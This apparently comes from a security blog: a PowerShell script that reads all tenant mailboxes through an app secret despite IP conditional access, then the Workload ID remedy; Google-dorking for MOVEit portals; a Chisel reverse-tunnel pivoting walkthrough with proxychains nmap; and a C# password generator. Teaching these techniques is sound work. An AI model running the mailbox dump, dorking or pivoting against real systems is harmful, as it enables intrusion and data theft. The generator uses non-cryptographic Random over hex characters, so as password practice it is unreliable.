Implement conditional access on Azure AD Apps : Using Workload Identities Premium

Azure AD app do not honor conditional access policies levaraging IP restrictions.

Suppose we have a conditional access policy which restricts access to any app from any IP except certain IP ranges via a named location (in this case using my ISP network).

Interactive user login – Blocked

You will notice the user interactive sign-in gets blocked when coming from an IP outside of what is allowed.

Login using a service principal for Azure AD app – Allowed

In this section, we will see if you have credentials for Azure AD app, you can access resources depending on what permissions the app has. In this example, we would read all the emails.

Setup

Lets setup an Azure AD app with mail.read permission and a credential.

Code to get emails from all the mailboxes

Prerequisites : Install and import ExchangeOnlinemanagement and Microsoft.Graph modules

Install-Module ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
Install-Module Microsoft.Graph
Import-Module Microsoft.Graph

Replace the clientId and tenantId with the clientId of the app and the tenant id for your tenant respectively. When the script is run, please supply the credential created for the app.

# Import the required module
Import-Module Microsoft.Graph
$err_string= ''
# Set the necessary variables
$clientId = "7477abb4-xxxx-xxxx-xxxx-xxxxxx"
$tenantId = "c2b84b0b-xxxx-xxxx-xxxx-xxxxxxx"
$ClientSecretCredential = Get-Credential -Credential $clientId
 
# Connect to Microsoft Graph
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $ClientSecretCredential -NoWelcome
 
# Get all users in the tenant
$users = Get-MgUser
 
# Loop through each user
foreach ($user in $users) {
    # Get the user's mailbox
    try {
        $mailbox = Get-MgUserMailFolderMessage -UserId $user.Id -MailFolderId 'Inbox' -ErrorAction Stop
        $test = $user.Mail
        write-host "####### Reading emails for mailbox " -nonewline
        write-host $test -foreground red -nonewline
        write-host " ##########" 
        write-host "Found " -nonewline
        write-host $mailbox.Length -foreground red -nonewline
        write-host " email(s) " 
        foreach ($message in $mailbox) {
            # Print the message subject and received date
            Write-Output (" ----------------------------------------------------")
            Write-Output ("Subject: " + $message.Subject)
            Write-Output ("Received: " + $message.ReceivedDateTime)
            $body = $message.Body.Content -replace '<[^>]+>',''
            $body = $body.trim()
            Write-Output ("Body: " + $body)
        }
    write-host "`n"
    }
    catch
    { 
        $err_string = $_ | Out-String
    }
    if ($err_string -inotmatch "The mailbox is either inactive, soft-deleted, or is hosted on-premise")
    {
        Write-Host $err_string
    }
}
# Disconnect from Microsoft Graph
Disconnect-MgGraph

Running the above code by supplying the secret for the below and we can see we are still able to access all the emails. The service principle sign-in logs clearly note the access is from outside the IP address (from a foreign country) but the conditional access policy didn’t apply.

Using Microsoft Entra Workload ID to implement the conditional access

To address this, Microsoft has a new feature named Microsoft Entra Workload ID. Bad thing here is It needs Its own premium license. Good thing is you can try it out to see if this even works!
Login to the Entra ID portal as a global admininstrator and search for Workload Identities and activate the trial of 200 licenses for 90 days.

Then login to Microsoft Admin portal, and assign the users with “Micsoroft Entra Workload ID” license.

Once the license is assigned, login as the GA and licensed user to the the Entra portal.
Go to Protection > Conditional Access > Create.
There we see “Workload Identities” under “What does this policy apply to”.
Now, we can select the app we want to apply the conditional access with IP restriction.

Running the same code above would now show error noting the access has been blocked by the conditional access policy

Service principal sign-in logs would show the failure as well

Conclusion

Microsoft Entra Workload ID premium looks promising and goes much beyond the conditional access. Its worth looking at its capabilities.

https://www.microsoft.com/en-us/security/business/identity-access/microsoft-entra-workload-id

Find MoveIt Portals

Progress Software has released a security advisory for a privilege escalation vulnerability (CVE-2023-35708) in MOVEit Transfer —a Managed File Transfer Software.

This post shows a way to find MoveIt portals for given set of companies for further investigation.
The default page of MoveIt portals generally has /human.aspx in the URL, so we can use Google dork to look for MoveIt portals for given list of companies

Couple of ways to approach this – either use straight up google dorking which may lead to Google blocking the IP after overuse (but you can always change IPs 🙂 ) or use make use of Google Search API. Both the approaches in below.

https://github.com/ashishmgupta/FindMoveItPortals

Pivoting using Chisel : Moving laterally in the network

If the image above reminds you of that funny scene in Friends and you are interested in learning about Chisel for lateral movement in a network, please read on. 🙂

In penetration testing terms, pivoting is a technique of using one compromised machine to access another.

Let’s take the below example as a problem statement.

Problem statement

Our attacker box can access the jumpbox as they both are in the same network (192.168.44.0/24) but It cant access (noted by the red arrow) the web server which is in a different network (10.10.10.0/24). How can the attackerbox move laterally through the jump box to access the web server?

Solution

We will use a tool named chisel to create a tunnel between the attackerbox and jumpbox and then pivot (lateraly move) from the jumpbox to the web server.

The process

For simplicity, we assume that the attacker has the RDP access on the jumpbox. We may think why we need pivoting and why can we just get on the jumpbox and from there exploit the web server.
Thing is – this pivoting technique, as we see later will help us use full power of attacker kali pen test toolset and may potentially enable us to exploit the other hosts in the 10.10.10.0/24 network apart from just that web server.

Download Chisel

https://github.com/jpillora/chisel/releases

For Linux : download chisel_<version>_linux_amd64.gz.
For example :

For Windows : download chisel_<latest version>_windows_amd64.gz
For example:

Create a folder (e.g. /home/kali/tools) using non-root user and copy the windows flavor of chisel to that folder.

mkdir /home/kali/tools

Transfer the windows flavor of chisel to the jumpbox

RDP to the jumpbox with known credentials with shared directory /home/kali/tools

xfreerdp /v:192.168.44.11 /u:jdoe /p:P@ssw0rd +clipboard /dynamic-resolution /drive:/home/kali/tools

/home/kali/tools is available of the window box with chisel.exe in it. Copy it to a local directory c:\temp.

Configure proxychain on the attacker kali box

Edit the /etc/proxychain4

sudo nano /etc/proxychains4.conf

Comment out socks4 line and add the socks5 (seperated by tab)

socks5 127.0.0.1 1080

Setup chisel as server on the attacker kali box

On Kali box, set the execute permission on chisel

chmod +x chisel

Setup chisel as server on the attacker box. The –reverse switch creates a reverse tunnel from the attackerbox to the jumpbox.

./chisel server -p 8000 --reverse

Setup chisel as client on the jumpbox

On the Jump server, copy the chisel (windows flavor) to a local directory and run as a client

chisel client 192.168.45.158:8000 R:socks

When we start the chisel as client, immediately we see the session/tunnel established with the chisel server on the attacker kali box.

Execute commands on the jumpbox from attacker box using proxychains

Now that we have the tunnel established between the chisel server on the attackerbox and the chisel client on the jumpbox, we can execute any command on the jumpbox via proxychains.

proxychains nmap -sT -p 443 -Pn 10.10.10.2

Now we see are able to access the web server from the attackerbox.

How does this work? What is the flow of events?

The flow of nmap request traffic from attackerbox to the web server and back in the above example can be depected via below sequence diagram.
Same can be applied for any command executed using proxychains program from the attackerbox.
[Please click on the image below to view larger size]

proxychains nmap -sT -p 443 -Pn 10.10.10.2
  1. In the above command we are using proxychain to execute nmap, so proxychains program intercepts the traffic generated by nmap.
  2. Since we have configured proxychains on the attackerbox to use SOCKS5 proxy on 127.0.0.1:8080, the proxychains program will route through that SOCKS5 proxy.
  3. SOCKS5 proxy receives the nmap traffic and and forwards to the chisel server running on teh attackerbox.
  4. Chisel server on attackerbox forwards traffic to the chisel client on the jumpbox via the chisel tunnel.
  5. Jumpbox can forward the nmap “request” traffic to the web server.
  6. After the web server processes the scan request, It generates the nmap response.
  7. The response is sent from the jumpbox chisel client back to the attackerbox chisel server.
  8. Chisel server on attackerbox forwards the response to the proxychains program
  9. Proxychains outputs the nmap response to the terminal which originally issued the nmap command.


Hope you find this post useful.

Happy pivoting! 🙂

Generate random password

A simple way to generate the password

static string GenerateRandomPassword(int numberOfCharactersInPassword)
{
   if (numberOfCharactersInPassword > 32)
   {
	   throw new ArgumentException("A password of length more than 32 can't be generated");
   }
   string guidWithoutDashes = Guid.NewGuid().ToString("n");
   Console.WriteLine("Guid without dashes :- "+ guidWithoutDashes);
   var chars = new char[numberOfCharactersInPassword];
   var random = new Random();
   for (int i = 0; i < chars.Length; i++)
   {
	   chars[i] = guidWithoutDashes[random.Next(guidWithoutDashes.Length)];
   }
   Console.WriteLine("Random password :- " + new string(chars));
   return new string(chars);
}